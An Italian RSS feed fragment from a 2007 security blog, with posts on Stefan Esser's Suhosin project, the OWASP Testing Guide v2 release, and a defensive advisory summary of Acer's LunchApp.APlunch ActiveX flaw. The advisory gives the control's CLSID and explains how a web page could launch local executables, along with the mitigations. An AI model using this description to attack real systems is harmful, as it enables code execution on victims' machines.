<p>Stefan Esser è un consulente di sicurezza tedesco che da anni ha a che fare con software OpenSource.<br />
Circa 6 anni fa è entrato a far parte degli sviluppatori di PHP, grazie a questa mansione è stato a stretto contatto con i sorgenti di PHP capendo così che essi non erano scritti con la sicurezza come obiettivo. Ha così deciso di creare il security team all&#8217;interno di PHP per poter gestire in maniera ottimale il report di bug e il rilascio di patch.<br />
Qualcosa nel frattempo è andato storto tanto da <a href="http://blog.php-security.org/archives/61-Retired-from-securityphp.net.html">farlo ritirare dal gruppo di sviluppatori PHP</a>.</p>
<p>Dal 2004, Stefan, ha iniziato un progetto personale chiamato &#8220;<a href="http://www.hardened-php.net/">Hardened PHP</a>&#8221; il quale fornisce patch per aumentare la sicurezza del codice ufficiale. &#8220;Hardened PHP&#8221; è stato recentemente rimpiazzato da <span class="body"> <a target="_blank" href="http://www.hardened-php.net/suhosin.127.html">Suhosin</a>, progetto nato dall&#8217;idea di dividere &#8220;Hardened PHP&#8221; in due parti distinte. La protezione dello Zend Engine, per difendere il &#8220;core&#8221; da buffer overflow, implementata come patch ai sorgenti originali e un&#8217;estensione che integra tutti gli altri tipi di protezione.<br />
</span><span class="body"><a target="_blank" href="http://www.hardened-php.net/suhosin.127.html">Suhosin</a> risulta trasparente sia all&#8217;utente sia allo sviluppatore: implementa il controllo sui parametri passati alla funzione mail() per evitare injection di header, effettua la crittografia dei dati delle sessioni e dei cookie, blocca le url nei parametri delle funzioni include e require, ecc&#8230;</span></p>
<p>Stefan Esser mentre parla del futuro &#8220;Month of PHP bugs&#8221;:</p>
<blockquote><p>Its goal is to make people and especially the PHP developers aware that bugs in PHP exist. While this sounds obvious for everyone on the outside, it is actually required. PHP has a very bad reputation when it comes to security, which is mostly caused by all the advisories about security holes in PHP applications.</p></blockquote>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2007/02/a-marzo-iniziera-month-of-php-bugs.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OWASP Testing Guide, rilasciata la seconda versione</title>
		<link>http://www.matteocarli.com/2007/01/owasp-testing-guide-rilasciata-la-seconda-versione.html</link>
		<comments>http://www.matteocarli.com/2007/01/owasp-testing-guide-rilasciata-la-seconda-versione.html#comments</comments>
		<pubDate>Fri, 19 Jan 2007 22:06:59 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Novità]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Ricerche]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/2007/01/owasp-testing-guide-rilasciata-la-seconda-versione.html</guid>
		<description><![CDATA[Lo scorso 10 Gennaio è stata rilasciata la OWASP Testing Guide versione 2 RC1. La guida (rilasciata anche in pdf e doc) si prefigge lo scopo di diventare un framework per il test della sicurezza di applicazioni e infrastrutture di rete. Una lettura d&#8217;obbligo per application/penetration tester e sviluppatori. This document is designed to help [...]]]></description>
			<content:encoded><![CDATA[<p>Lo scorso 10 Gennaio è stata rilasciata la <a href="http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents">OWASP Testing Guide versione 2</a> RC1.<br />
La guida (rilasciata anche in <a href="http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip">pdf</a> e <a href="http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_doc.zip">doc</a>) si prefigge lo scopo di diventare un framework per il test della sicurezza di applicazioni e infrastrutture di rete.<br />
Una lettura d&#8217;obbligo per application/penetration tester e sviluppatori.</p>
<blockquote><p>This document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that they need to undertake to build and operate that testing program on their web applications. It is intended to give a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference and as a methodology to help determine the gap between your existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, understand the magnitude of resources required to test and remediate their software, or prepare for an audit. This document does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework.</p>
</blockquote>
<p>Non è facile in poche righe descrivere la qualità elevata di questo documento. Tengo solo a sottolineare il fatto che persone come Matteo Meucci, Mauro Bregolin, Luca Carettoni, Stefano Di Paola, Giorgio Fedon, Andrea Lombardini, Claudio Merloni, Antonio Parata, Carlo Pelliccioni e Alberto Revelli hanno reso possibile spostare il baricentro di un progetto internazionale dagli Stati Uniti all&#8217;Italia.<br />
Grazie ragazzi!</p>
<p>Matteo Meucci, coordinatore del capitolo Italiano OWASP, sta curando la OWASP Testing Guide dal 2005.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2007/01/owasp-testing-guide-rilasciata-la-seconda-versione.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vulnerabilità nell&#8217;ActiveX LunchApp.APlunch di Acer</title>
		<link>http://www.matteocarli.com/2007/01/vulnerabilita-nellactivex-lunchappaplunch-di-acer.html</link>
		<comments>http://www.matteocarli.com/2007/01/vulnerabilita-nellactivex-lunchappaplunch-di-acer.html#comments</comments>
		<pubDate>Wed, 17 Jan 2007 22:37:27 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.matteocarli.com/2007/01/vulnerabilita-nellactivex-lunchappaplunch-di-acer.html</guid>
		<description><![CDATA[Recentemente molti blog di sicurezza informatica hanno scritto a riguardo della vulnerabilità (se così possiamo chiamarla) nell&#8217;ActiveX LunchApp.APlunch preinstallata nei laptop venduti da Acer (non si conosco con precisione tutti i laptop interessati ma sicuramente sono molti modelli). Il LunchApp.Aplunch, come si può dedurre dal nome, serve ad Acer per aprire URL per l&#8217;aggiornamento del [...]]]></description>
			<content:encoded><![CDATA[<p>Recentemente molti blog di sicurezza informatica hanno scritto a riguardo della vulnerabilità (se così possiamo chiamarla) nell&#8217;ActiveX LunchApp.APlunch preinstallata nei laptop venduti da Acer (non si conosco con precisione tutti i laptop interessati ma sicuramente sono molti modelli).<br />
Il LunchApp.Aplunch, come si può dedurre dal nome, serve ad Acer per aprire URL per l&#8217;aggiornamento del software presente sui propri portatili.</p>
<p>Conoscendo il path intero di un file esegubile residente sul sistema vittima, tramite l&#8217;ActiveX, è possibile aprirlo senza nessuna interazione dell&#8217;utente in quanto LunchApp.APlunch (clsid: D9998BD0-7957-11D2-8FED-00606730D3AA) è settato come <span class="bodytext2">&#8220;safe for scripting&#8221; e &#8220;safe for initializing from persistent data&#8221;.</span></p>
<p>Aggiornando Internet Explorer alla versione 7 si risolvono i problemi di sicurezza in quanto la nuova versione del browser Microsoft disabilita l&#8217;opzione <span class="bodytext2">&#8220;safe for scripting&#8221;</span> degli ActiveX precedentemente installati sul sistema.</p>
<p>Acer ha rilasciato una patch denominata <a href="http://support.acer-euro.com/drivers/utilities.html#APP">Acer Preload Security Patch for Windows XP</a>. E&#8217; possibile comunque risolvere ponendo il kill-bit sul CLASS-ID dell&#8217;ActiveX come spiegato nella <a href="http://support.microsoft.com/kb/240797">KB 240797</a> di Microsoft.</p>
<p>Un PoC è disponibile <a href="http://vuln.sg/acerlunchapp-en.html">sulla pagina dell&#8217;autore della scoperta</a>.<br />
<span class="bodytext2"><br />
</span></p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2007/01/vulnerabilita-nellactivex-lunchappaplunch-di-acer.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

